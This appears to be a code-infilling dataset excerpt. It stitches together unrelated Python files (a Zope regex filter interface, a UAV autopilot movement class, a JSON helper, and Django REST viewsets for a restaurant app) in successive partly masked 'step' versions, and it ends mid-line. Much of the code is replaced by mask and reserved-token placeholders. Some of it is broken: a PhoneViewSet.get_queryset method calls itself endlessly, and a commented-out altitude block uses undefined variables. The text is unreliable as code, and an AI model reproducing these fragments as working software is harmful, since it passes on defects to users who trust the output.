{ "blob_id": "fe83b45bdc5970d63deab66b26b16752cd8ad8ef", "index": 7241, "step-1": "<mask token>\n\n\nclass IRegexItem(interfaces.IConditionItem):\n <mask token>\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass IRegexItem(interfaces.IConditionItem):\n <mask token>\n regex = schema.TextLine(title=_('Regex'), required=True, description=_(\n 'a regular expression'))\n source = schema.Choice(title=_('Source'), vocabulary=\n 'raptus.mailcone.mails.mailattributes', required=True)\n", "step-3": "<mask token>\n\n\nclass IRegexItem(interfaces.IConditionItem):\n \"\"\" Interface for regex match filter\n \"\"\"\n regex = schema.TextLine(title=_('Regex'), required=True, description=_(\n 'a regular expression'))\n source = schema.Choice(title=_('Source'), vocabulary=\n 'raptus.mailcone.mails.mailattributes', required=True)\n", "step-4": "from zope import schema\nfrom zope import interface\nfrom zope import component\nfrom raptus.mailcone.rules_regex import _\nfrom raptus.mailcone.rules import interfaces\n\n\nclass IRegexItem(interfaces.IConditionItem):\n \"\"\" Interface for regex match filter\n \"\"\"\n regex = schema.TextLine(title=_('Regex'), required=True, description=_(\n 'a regular expression'))\n source = schema.Choice(title=_('Source'), vocabulary=\n 'raptus.mailcone.mails.mailattributes', required=True)\n", "step-5": null, "step-ids": [ 1, 2, 3, 4 ] }

[ 1, 2, 3, 4 ]

""" ___________________________________________________ | _____ _____ _ _ _ | | | __ \ | __ (_) | | | | | | |__) |__ _ __ __ _ _ _| |__) || | ___ | |_ | | | ___/ _ \ '_ \ / _` | | | | ___/ | |/ _ \| __| | | | | | __/ | | | (_| | |_| | | | | | (_) | |_ | | |_| \___|_| |_|\__, |\__,_|_| |_|_|\___/ \__| | | __/ | | | GNU/Linux based |___/ Multi-Rotor UAV Autopilot | |___________________________________________________| Movement Activity Class Copyright (C) 2014 Tobias Simon, Integrated Communication Systems Group, TU Ilmenau This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. """ from math import hypot from time import sleep from util.geomath import LinearInterpolation from numpy import array, zeros from pilot_pb2 import * from activity import Activity, StabMixIn from util.geomath import gps_add_meters, gps_meters_offset from util.srtm import SrtmElevMap _srtm_elev_map = SrtmElevMap() class MoveActivity(Activity, StabMixIn): Z_SPEED_MAX = 2 SRTM_SAFETY_ALT = 20 def __init__(self, icarus): Activity.__init__(self, icarus) self.canceled = False def run(self): # shortcut identifiers: arg = self.icarus.arg move_data = arg.move_data pilot = self.icarus.pilot params = pilot.params fsm = self.icarus.fsm prev_setp_rel = self.icarus.setpoints start_gps = (params.start_lat, params.start_lon) prev_setp_gps = gps_add_meters(start_gps, prev_setp_rel[0 : 2]) # calculate target x, y, z and move coord = [None, None, None] # x, y, z setpoints if arg.glob: # set global lat, lon postion: glob_sp = [None, None, None] for i in xrange(3): name = 'p%d' % i if move_data.HasField(name): glob_sp[i] = getattr(move_data, name) print 'p0, p1, p2 = ', glob_sp if arg.rel: print 'glob, rel' # interpret lat, lon, alt as relative # covert previous x and y setpoints to rad, using start_lat, start_lon: gps = list(prev_setp_gps) for i in range(0, 2): if glob_sp[i] != None: gps[i] += glob_sp[i] # convert from wsg84 to relative: coord[0 : 2] = gps_meters_offset(start_gps, gps) # add z value: coord[2] = prev_setp_rel[2] if glob_sp[2] != None: coord[2] += glob_sp[2] else: print 'glob, abs' # interpret lat, lon, alt as absolute for i in range(0, 2): if glob_sp[i] == None: glob_sp[i] = prev_setp_gps[i] print start_gps, glob_sp[0 : 2] coord[0 : 2] = gps_meters_offset(start_gps, glob_sp[0 : 2]) if glob_sp[2] != None: coord[2] = glob_sp[2] - params.start_alt else: coord[2] = prev_setp_rel[2] else: # local position update: for i in xrange(3): name = 'p%d' % i if move_data.HasField(name): if arg.rel: print 'local, rel' # relative local coordinate: coord[i] = prev_setp_rel[i] + getattr(move_data, name) else: print 'local, abs' # absolute local coordinate: coord[i] = getattr(move_data, name) else: coord[i] = prev_setp_rel[i] print 'coord output:', coord self.icarus.setpoints = coord # set position pilot.set_ctrl_param(POS_E, coord[0]) pilot.set_ctrl_param(POS_N, coord[1]) """ # did the altitude change?: if coord[2] != prev_setp_rel[2]: # set up linear z interpolation between start and destination points: dist = hypot(prev_setp_rel[0] - coord[0], prev_setp_rel[1] - coord[1]) z_interp = LinearInterpolation(0.0, start_z, dist, coord[2]) # update z setpoint linearly between starting position and destination: target_dist = hypot(pilot.mon[5], pilot.mon[6]) while target_dist > self.LAT_STAB_EPSILON: sleep(1) if self.canceled: pilot.set_ctrl_param(POS_N, pilot.mon[0]) pilot.set_ctrl_param(POS_E, pilot.mon[1]) pilot.set_ctrl_param(POS_U, pilot.mon[2]) self.stabilize() return # not going into hovering state z = z_interp(dist - target_dist) # check elevation map: srtm_z = 1000.0 #_srtm_elev_map.lookup(lat, lon) - params.start_alt if z < srtm_alt + self.SRTM_SAFETY_ALT: z = srtm_alt + self.SRTM_SAFETY_ALT pilot.set_ctrl_param(POS_Z, z) """ self.stabilize() if not self.canceled: fsm.handle('done') def _cancel(self): self.canceled = True

normal

{ "blob_id": "81f49c55edff7678e9d1745e39a8370e2c31c9ea", "index": 8850, "step-1": "\"\"\"\n ___________________________________________________\n | _____ _____ _ _ _ |\n | | __ \\ | __ (_) | | | |\n | | |__) |__ _ __ __ _ _ _| |__) || | ___ | |_ |\n | | ___/ _ \\ '_ \\ / _` | | | | ___/ | |/ _ \\| __| |\n | | | | __/ | | | (_| | |_| | | | | | (_) | |_ |\n | |_| \\___|_| |_|\\__, |\\__,_|_| |_|_|\\___/ \\__| |\n | __/ | |\n | GNU/Linux based |___/ Multi-Rotor UAV Autopilot |\n |___________________________________________________|\n \n Movement Activity Class\n\n Copyright (C) 2014 Tobias Simon, Integrated Communication Systems Group, TU Ilmenau\n\n This program is free software; you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details. \"\"\"\n\n\nfrom math import hypot\nfrom time import sleep\nfrom util.geomath import LinearInterpolation\nfrom numpy import array, zeros\nfrom pilot_pb2 import *\nfrom activity import Activity, StabMixIn\nfrom util.geomath import gps_add_meters, gps_meters_offset\nfrom util.srtm import SrtmElevMap\n\n\n_srtm_elev_map = SrtmElevMap()\n\n\nclass MoveActivity(Activity, StabMixIn):\n\n\n Z_SPEED_MAX = 2\n SRTM_SAFETY_ALT = 20\n\n\n def __init__(self, icarus):\n Activity.__init__(self, icarus)\n self.canceled = False\n\n\n def run(self):\n # shortcut identifiers:\n arg = self.icarus.arg\n move_data = arg.move_data\n pilot = self.icarus.pilot\n params = pilot.params\n fsm = self.icarus.fsm\n prev_setp_rel = self.icarus.setpoints\n start_gps = (params.start_lat, params.start_lon)\n prev_setp_gps = gps_add_meters(start_gps, prev_setp_rel[0 : 2])\n \n # calculate target x, y, z and move\n coord = [None, None, None] # x, y, z setpoints\n if arg.glob:\n # set global lat, lon postion:\n glob_sp = [None, None, None]\n for i in xrange(3):\n name = 'p%d' % i\n if move_data.HasField(name):\n glob_sp[i] = getattr(move_data, name)\n print 'p0, p1, p2 = ', glob_sp\n if arg.rel:\n print 'glob, rel'\n # interpret lat, lon, alt as relative\n # covert previous x and y setpoints to rad, using start_lat, start_lon:\n gps = list(prev_setp_gps)\n for i in range(0, 2):\n if glob_sp[i] != None:\n gps[i] += glob_sp[i]\n # convert from wsg84 to relative:\n coord[0 : 2] = gps_meters_offset(start_gps, gps)\n # add z value:\n coord[2] = prev_setp_rel[2]\n if glob_sp[2] != None:\n coord[2] += glob_sp[2]\n else:\n print 'glob, abs'\n # interpret lat, lon, alt as absolute\n for i in range(0, 2):\n if glob_sp[i] == None:\n glob_sp[i] = prev_setp_gps[i]\n print start_gps, glob_sp[0 : 2]\n coord[0 : 2] = gps_meters_offset(start_gps, glob_sp[0 : 2])\n if glob_sp[2] != None:\n coord[2] = glob_sp[2] - params.start_alt\n else:\n coord[2] = prev_setp_rel[2]\n else:\n # local position update:\n for i in xrange(3):\n name = 'p%d' % i\n if move_data.HasField(name):\n if arg.rel:\n print 'local, rel'\n # relative local coordinate:\n coord[i] = prev_setp_rel[i] + getattr(move_data, name)\n else:\n print 'local, abs'\n # absolute local coordinate:\n coord[i] = getattr(move_data, name)\n else:\n coord[i] = prev_setp_rel[i]\n \n print 'coord output:', coord\n self.icarus.setpoints = coord\n # set position\n pilot.set_ctrl_param(POS_E, coord[0])\n pilot.set_ctrl_param(POS_N, coord[1])\n \n \"\"\"\n # did the altitude change?:\n if coord[2] != prev_setp_rel[2]:\n # set up linear z interpolation between start and destination points:\n dist = hypot(prev_setp_rel[0] - coord[0], prev_setp_rel[1] - coord[1])\n z_interp = LinearInterpolation(0.0, start_z, dist, coord[2]) \n # update z setpoint linearly between starting position and destination:\n target_dist = hypot(pilot.mon[5], pilot.mon[6])\n while target_dist > self.LAT_STAB_EPSILON:\n sleep(1)\n if self.canceled:\n pilot.set_ctrl_param(POS_N, pilot.mon[0])\n pilot.set_ctrl_param(POS_E, pilot.mon[1])\n pilot.set_ctrl_param(POS_U, pilot.mon[2])\n self.stabilize()\n return # not going into hovering state\n z = z_interp(dist - target_dist)\n # check elevation map:\n srtm_z = 1000.0 #_srtm_elev_map.lookup(lat, lon) - params.start_alt\n if z < srtm_alt + self.SRTM_SAFETY_ALT:\n z = srtm_alt + self.SRTM_SAFETY_ALT\n pilot.set_ctrl_param(POS_Z, z)\n \"\"\"\n\n self.stabilize()\n if not self.canceled:\n fsm.handle('done')\n\n\n def _cancel(self):\n self.canceled = True\n\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }

[ 0 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def from_json_string(my_str): """Function returns a JSON file representation of an object (string)""" return json.loads(my_str) <|reserved_special_token_1|> import json def from_json_string(my_str): """Function returns a JSON file representation of an object (string)""" return json.loads(my_str) <|reserved_special_token_1|> #!/usr/bin/python3 import json def from_json_string(my_str): """Function returns a JSON file representation of an object (string)""" return json.loads(my_str)

flexible

{ "blob_id": "b748c489b2c63546feada811aa3b66146ad8d28e", "index": 9450, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef from_json_string(my_str):\n \"\"\"Function returns a JSON file representation of an object (string)\"\"\"\n return json.loads(my_str)\n", "step-3": "import json\n\n\ndef from_json_string(my_str):\n \"\"\"Function returns a JSON file representation of an object (string)\"\"\"\n return json.loads(my_str)\n", "step-4": "#!/usr/bin/python3\nimport json\n\n\ndef from_json_string(my_str):\n \"\"\"Function returns a JSON file representation of an object (string)\"\"\"\n\n return json.loads(my_str)\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }

[ 0, 1, 2, 3 ]

<|reserved_special_token_0|> class RestaurantViewSet(ModelViewSet): serializer_class = RestaurantSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Restaurant.objects.all() def _get_recommended_restaurants(self) ->queryset: queryset = self.get_queryset() recommended = queryset.all().annotate(rates_avg=Avg('rates__stars')) return recommended def _get_special_restaurants(self) ->queryset: queryset = self.get_queryset() special_offers_restaurants = queryset.filter(Q(menus__discount__gt= 0) | Q(on_special_day=True)) return special_offers_restaurants @action(['get'], detail=False, url_path='get-home') def home(self, request, *args, **kwargs): recommended = self._get_recommended_restaurants().order_by('?')[:5] special = self._get_special_restaurants().order_by('?')[:5] all_restaurants = self.get_queryset().order_by('?')[:5] recommended = self.get_serializer(recommended, many=True).data special = self.get_serializer(special, many=True).data all_restaurants = self.get_serializer(all_restaurants, many=True).data response = {'recommended': recommended, 'special': special, 'all': all_restaurants} return Response(response) @action(['get'], detail=False, url_path='special-offers') def special_offers(self, request, *args, **kwargs): serializer = self.get_serializer(self._get_special_restaurants(). order_by('-created_at'), many=True) return Response(serializer.data) @action(['get'], detail=False, url_path='recommended-offers') def recommended_offers(self, request, *args, **kwargs): serializer = self.get_serializer(self._get_recommended_restaurants( ).order_by('-rates_avg'), many=True) return Response(serializer.data) @action(['get'], detail=True, url_path='restaurant-menus') def get_restaurant_menus(self, request, *args, **kwargs): categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant( restaurant_id=self.kwargs.get('pk')) return Response(categorized_menus) class MenuViewSet(ModelViewSet): serializer_class = MenuSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Menu.objects.all() @action(['get'], detail=False, url_path='get-home') def home(self, request, *args, **kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5] recommended = queryset.all().order_by('?')[:5] special_offers = self.get_serializer(special_offers, many=True).data recommended = self.get_serializer(recommended, many=True).data response = {'recommended': recommended, 'special_offers': special_offers} return Response(data=response) @action(['get'], detail=False, url_path='special-offers') def special_offers(self, request, *args, **kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at' ) serializer = self.get_serializer(special_offers, many=True) return Response(serializer.data) @action(['get'], detail=False, url_path='recommended-offers') def recommended_offers(self, request, *args, **kwargs): queryset = self.get_queryset() recommended = queryset.all().order_by('-created_at') serializer = self.get_serializer(recommended, many=True) return Response(serializer.data) class OrderViewSet(ModelViewSet): serializer_class = OrderWRestaurantSerializer permission_classes = [permissions.IsAuthenticated] queryset = Order.objects.all().order_by('-created_at') def get_serializer(self, *args, **kwargs): if self.action == 'create': return OrderSerializer(*args, **kwargs) return super(OrderViewSet, self).get_serializer(*args, **kwargs) def get_queryset(self): return super(OrderViewSet, self).get_queryset().filter(client=self. request.user.client) def create(self, request, *args, **kwargs): fixer = RequestDataFixer(request=request) return super(OrderViewSet, self).create(fixer, *args, **kwargs) class OrderLineViewSet(ModelViewSet): serializer_class = OrderLineSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = OrderLine.objects.all() class WilayaViewSet(ModelViewSet): serializer_class = WilayaSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = Wilaya.objects.all() class CityViewSet(ModelViewSet): serializer_class = CitySerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = City.objects.all() <|reserved_special_token_0|> class AddressViewSet(ModelViewSet): serializer_class = AddressSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Address.objects.all() @action(['PUT'], detail=True, url_path='set-default', url_name= 'set-default') def set_default(self, request, *args, **kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request. user.client).update(default=False) return Response(self.get_serializer(instance).data) @action(['PUT'], detail=False, url_path='set-main', url_name='set-main') def set_main(self, request, *args, **kwargs): self.get_queryset().filter(belongs_to=request.user.client).update( default=False) return Response({'status': True}) def get_queryset(self): return super(AddressViewSet, self).get_queryset().filter(belongs_to =self.request.user.client) class PhoneViewSet(ModelViewSet): permission_classes = [permissions.IsAuthenticatedOrReadOnly] serializer_class = PhoneSerializer queryset = Phone.objects.all() @action(['PUT'], detail=False, url_path='set-main', url_name='set-main') def set_main(self, request, *args, **kwargs): self.get_queryset().filter(user=request.user).update(default=False) return Response({'status': True}) @action(['PUT'], detail=True, url_path='set-default', url_name= 'set-default') def set_default(self, request, *args, **kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), user=request.user ).update(default=False) return Response(self.get_serializer(instance).data) def get_queryset(self): return self.get_queryset().filter(user=self.request.user) <|reserved_special_token_1|> <|reserved_special_token_0|> class MealTypeViewSet(ModelViewSet): permission_classes = [my_perms.IsAdminOrReadOnly] serializer_class = MealTypeSerializer queryset = MealType.objects.all() def get_serializer(self, *args, **kwargs): if self.action == 'get_types_with_menus': serializer_class = MealTypesWithMenuSerializer kwargs['context'] = self.get_serializer_context() return serializer_class(*args, **kwargs) return super(MealTypeViewSet, self).get_serializer(*args, **kwargs) @action(['get'], detail=False, url_path='type-with-menus') def get_types_with_menus(self, request, *args, **kwargs): types = self.get_queryset().filter(menus__offered_by=request. query_params.get('restaurant', 0)) types = self.get_serializer(types, many=True).data return Response(types) class RestaurantTypeViewSet(ModelViewSet): serializer_class = RestaurantTypeSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = RestaurantType.objects.all() class RestaurantViewSet(ModelViewSet): serializer_class = RestaurantSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Restaurant.objects.all() def _get_recommended_restaurants(self) ->queryset: queryset = self.get_queryset() recommended = queryset.all().annotate(rates_avg=Avg('rates__stars')) return recommended def _get_special_restaurants(self) ->queryset: queryset = self.get_queryset() special_offers_restaurants = queryset.filter(Q(menus__discount__gt= 0) | Q(on_special_day=True)) return special_offers_restaurants @action(['get'], detail=False, url_path='get-home') def home(self, request, *args, **kwargs): recommended = self._get_recommended_restaurants().order_by('?')[:5] special = self._get_special_restaurants().order_by('?')[:5] all_restaurants = self.get_queryset().order_by('?')[:5] recommended = self.get_serializer(recommended, many=True).data special = self.get_serializer(special, many=True).data all_restaurants = self.get_serializer(all_restaurants, many=True).data response = {'recommended': recommended, 'special': special, 'all': all_restaurants} return Response(response) @action(['get'], detail=False, url_path='special-offers') def special_offers(self, request, *args, **kwargs): serializer = self.get_serializer(self._get_special_restaurants(). order_by('-created_at'), many=True) return Response(serializer.data) @action(['get'], detail=False, url_path='recommended-offers') def recommended_offers(self, request, *args, **kwargs): serializer = self.get_serializer(self._get_recommended_restaurants( ).order_by('-rates_avg'), many=True) return Response(serializer.data) @action(['get'], detail=True, url_path='restaurant-menus') def get_restaurant_menus(self, request, *args, **kwargs): categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant( restaurant_id=self.kwargs.get('pk')) return Response(categorized_menus) class MenuViewSet(ModelViewSet): serializer_class = MenuSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Menu.objects.all() @action(['get'], detail=False, url_path='get-home') def home(self, request, *args, **kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5] recommended = queryset.all().order_by('?')[:5] special_offers = self.get_serializer(special_offers, many=True).data recommended = self.get_serializer(recommended, many=True).data response = {'recommended': recommended, 'special_offers': special_offers} return Response(data=response) @action(['get'], detail=False, url_path='special-offers') def special_offers(self, request, *args, **kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at' ) serializer = self.get_serializer(special_offers, many=True) return Response(serializer.data) @action(['get'], detail=False, url_path='recommended-offers') def recommended_offers(self, request, *args, **kwargs): queryset = self.get_queryset() recommended = queryset.all().order_by('-created_at') serializer = self.get_serializer(recommended, many=True) return Response(serializer.data) class OrderViewSet(ModelViewSet): serializer_class = OrderWRestaurantSerializer permission_classes = [permissions.IsAuthenticated] queryset = Order.objects.all().order_by('-created_at') def get_serializer(self, *args, **kwargs): if self.action == 'create': return OrderSerializer(*args, **kwargs) return super(OrderViewSet, self).get_serializer(*args, **kwargs) def get_queryset(self): return super(OrderViewSet, self).get_queryset().filter(client=self. request.user.client) def create(self, request, *args, **kwargs): fixer = RequestDataFixer(request=request) return super(OrderViewSet, self).create(fixer, *args, **kwargs) class OrderLineViewSet(ModelViewSet): serializer_class = OrderLineSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = OrderLine.objects.all() class WilayaViewSet(ModelViewSet): serializer_class = WilayaSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = Wilaya.objects.all() class CityViewSet(ModelViewSet): serializer_class = CitySerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = City.objects.all() <|reserved_special_token_0|> class AddressViewSet(ModelViewSet): serializer_class = AddressSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Address.objects.all() @action(['PUT'], detail=True, url_path='set-default', url_name= 'set-default') def set_default(self, request, *args, **kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request. user.client).update(default=False) return Response(self.get_serializer(instance).data) @action(['PUT'], detail=False, url_path='set-main', url_name='set-main') def set_main(self, request, *args, **kwargs): self.get_queryset().filter(belongs_to=request.user.client).update( default=False) return Response({'status': True}) def get_queryset(self): return super(AddressViewSet, self).get_queryset().filter(belongs_to =self.request.user.client) class PhoneViewSet(ModelViewSet): permission_classes = [permissions.IsAuthenticatedOrReadOnly] serializer_class = PhoneSerializer queryset = Phone.objects.all() @action(['PUT'], detail=False, url_path='set-main', url_name='set-main') def set_main(self, request, *args, **kwargs): self.get_queryset().filter(user=request.user).update(default=False) return Response({'status': True}) @action(['PUT'], detail=True, url_path='set-default', url_name= 'set-default') def set_default(self, request, *args, **kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), user=request.user ).update(default=False) return Response(self.get_serializer(instance).data) def get_queryset(self): return self.get_queryset().filter(user=self.request.user) <|reserved_special_token_1|> <|reserved_special_token_0|> class CuisineViewSet(ModelViewSet): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> class MealTypeViewSet(ModelViewSet): permission_classes = [my_perms.IsAdminOrReadOnly] serializer_class = MealTypeSerializer queryset = MealType.objects.all() def get_serializer(self, *args, **kwargs): if self.action == 'get_types_with_menus': serializer_class = MealTypesWithMenuSerializer kwargs['context'] = self.get_serializer_context() return serializer_class(*args, **kwargs) return super(MealTypeViewSet, self).get_serializer(*args, **kwargs) @action(['get'], detail=False, url_path='type-with-menus') def get_types_with_menus(self, request, *args, **kwargs): types = self.get_queryset().filter(menus__offered_by=request. query_params.get('restaurant', 0)) types = self.get_serializer(types, many=True).data return Response(types) class RestaurantTypeViewSet(ModelViewSet): serializer_class = RestaurantTypeSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = RestaurantType.objects.all() class RestaurantViewSet(ModelViewSet): serializer_class = RestaurantSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Restaurant.objects.all() def _get_recommended_restaurants(self) ->queryset: queryset = self.get_queryset() recommended = queryset.all().annotate(rates_avg=Avg('rates__stars')) return recommended def _get_special_restaurants(self) ->queryset: queryset = self.get_queryset() special_offers_restaurants = queryset.filter(Q(menus__discount__gt= 0) | Q(on_special_day=True)) return special_offers_restaurants @action(['get'], detail=False, url_path='get-home') def home(self, request, *args, **kwargs): recommended = self._get_recommended_restaurants().order_by('?')[:5] special = self._get_special_restaurants().order_by('?')[:5] all_restaurants = self.get_queryset().order_by('?')[:5] recommended = self.get_serializer(recommended, many=True).data special = self.get_serializer(special, many=True).data all_restaurants = self.get_serializer(all_restaurants, many=True).data response = {'recommended': recommended, 'special': special, 'all': all_restaurants} return Response(response) @action(['get'], detail=False, url_path='special-offers') def special_offers(self, request, *args, **kwargs): serializer = self.get_serializer(self._get_special_restaurants(). order_by('-created_at'), many=True) return Response(serializer.data) @action(['get'], detail=False, url_path='recommended-offers') def recommended_offers(self, request, *args, **kwargs): serializer = self.get_serializer(self._get_recommended_restaurants( ).order_by('-rates_avg'), many=True) return Response(serializer.data) @action(['get'], detail=True, url_path='restaurant-menus') def get_restaurant_menus(self, request, *args, **kwargs): categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant( restaurant_id=self.kwargs.get('pk')) return Response(categorized_menus) class MenuViewSet(ModelViewSet): serializer_class = MenuSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Menu.objects.all() @action(['get'], detail=False, url_path='get-home') def home(self, request, *args, **kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5] recommended = queryset.all().order_by('?')[:5] special_offers = self.get_serializer(special_offers, many=True).data recommended = self.get_serializer(recommended, many=True).data response = {'recommended': recommended, 'special_offers': special_offers} return Response(data=response) @action(['get'], detail=False, url_path='special-offers') def special_offers(self, request, *args, **kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at' ) serializer = self.get_serializer(special_offers, many=True) return Response(serializer.data) @action(['get'], detail=False, url_path='recommended-offers') def recommended_offers(self, request, *args, **kwargs): queryset = self.get_queryset() recommended = queryset.all().order_by('-created_at') serializer = self.get_serializer(recommended, many=True) return Response(serializer.data) class OrderViewSet(ModelViewSet): serializer_class = OrderWRestaurantSerializer permission_classes = [permissions.IsAuthenticated] queryset = Order.objects.all().order_by('-created_at') def get_serializer(self, *args, **kwargs): if self.action == 'create': return OrderSerializer(*args, **kwargs) return super(OrderViewSet, self).get_serializer(*args, **kwargs) def get_queryset(self): return super(OrderViewSet, self).get_queryset().filter(client=self. request.user.client) def create(self, request, *args, **kwargs): fixer = RequestDataFixer(request=request) return super(OrderViewSet, self).create(fixer, *args, **kwargs) class OrderLineViewSet(ModelViewSet): serializer_class = OrderLineSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = OrderLine.objects.all() class WilayaViewSet(ModelViewSet): serializer_class = WilayaSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = Wilaya.objects.all() class CityViewSet(ModelViewSet): serializer_class = CitySerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = City.objects.all() <|reserved_special_token_0|> class AddressViewSet(ModelViewSet): serializer_class = AddressSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Address.objects.all() @action(['PUT'], detail=True, url_path='set-default', url_name= 'set-default') def set_default(self, request, *args, **kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request. user.client).update(default=False) return Response(self.get_serializer(instance).data) @action(['PUT'], detail=False, url_path='set-main', url_name='set-main') def set_main(self, request, *args, **kwargs): self.get_queryset().filter(belongs_to=request.user.client).update( default=False) return Response({'status': True}) def get_queryset(self): return super(AddressViewSet, self).get_queryset().filter(belongs_to =self.request.user.client) class PhoneViewSet(ModelViewSet): permission_classes = [permissions.IsAuthenticatedOrReadOnly] serializer_class = PhoneSerializer queryset = Phone.objects.all() @action(['PUT'], detail=False, url_path='set-main', url_name='set-main') def set_main(self, request, *args, **kwargs): self.get_queryset().filter(user=request.user).update(default=False) return Response({'status': True}) @action(['PUT'], detail=True, url_path='set-default', url_name= 'set-default') def set_default(self, request, *args, **kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), user=request.user ).update(default=False) return Response(self.get_serializer(instance).data) def get_queryset(self): return self.get_queryset().filter(user=self.request.user) <|reserved_special_token_1|> <|reserved_special_token_0|> class CuisineViewSet(ModelViewSet): serializer_class = CuisineSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = Cuisine.objects.all() class MealTypeViewSet(ModelViewSet): permission_classes = [my_perms.IsAdminOrReadOnly] serializer_class = MealTypeSerializer queryset = MealType.objects.all() def get_serializer(self, *args, **kwargs): if self.action == 'get_types_with_menus': serializer_class = MealTypesWithMenuSerializer kwargs['context'] = self.get_serializer_context() return serializer_class(*args, **kwargs) return super(MealTypeViewSet, self).get_serializer(*args, **kwargs) @action(['get'], detail=False, url_path='type-with-menus') def get_types_with_menus(self, request, *args, **kwargs): types = self.get_queryset().filter(menus__offered_by=request. query_params.get('restaurant', 0)) types = self.get_serializer(types, many=True).data return Response(types) class RestaurantTypeViewSet(ModelViewSet): serializer_class = RestaurantTypeSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = RestaurantType.objects.all() class RestaurantViewSet(ModelViewSet): serializer_class = RestaurantSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Restaurant.objects.all() def _get_recommended_restaurants(self) ->queryset: queryset = self.get_queryset() recommended = queryset.all().annotate(rates_avg=Avg('rates__stars')) return recommended def _get_special_restaurants(self) ->queryset: queryset = self.get_queryset() special_offers_restaurants = queryset.filter(Q(menus__discount__gt= 0) | Q(on_special_day=True)) return special_offers_restaurants @action(['get'], detail=False, url_path='get-home') def home(self, request, *args, **kwargs): recommended = self._get_recommended_restaurants().order_by('?')[:5] special = self._get_special_restaurants().order_by('?')[:5] all_restaurants = self.get_queryset().order_by('?')[:5] recommended = self.get_serializer(recommended, many=True).data special = self.get_serializer(special, many=True).data all_restaurants = self.get_serializer(all_restaurants, many=True).data response = {'recommended': recommended, 'special': special, 'all': all_restaurants} return Response(response) @action(['get'], detail=False, url_path='special-offers') def special_offers(self, request, *args, **kwargs): serializer = self.get_serializer(self._get_special_restaurants(). order_by('-created_at'), many=True) return Response(serializer.data) @action(['get'], detail=False, url_path='recommended-offers') def recommended_offers(self, request, *args, **kwargs): serializer = self.get_serializer(self._get_recommended_restaurants( ).order_by('-rates_avg'), many=True) return Response(serializer.data) @action(['get'], detail=True, url_path='restaurant-menus') def get_restaurant_menus(self, request, *args, **kwargs): categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant( restaurant_id=self.kwargs.get('pk')) return Response(categorized_menus) class MenuViewSet(ModelViewSet): serializer_class = MenuSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Menu.objects.all() @action(['get'], detail=False, url_path='get-home') def home(self, request, *args, **kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5] recommended = queryset.all().order_by('?')[:5] special_offers = self.get_serializer(special_offers, many=True).data recommended = self.get_serializer(recommended, many=True).data response = {'recommended': recommended, 'special_offers': special_offers} return Response(data=response) @action(['get'], detail=False, url_path='special-offers') def special_offers(self, request, *args, **kwargs): queryset = self.get_queryset() special_offers = 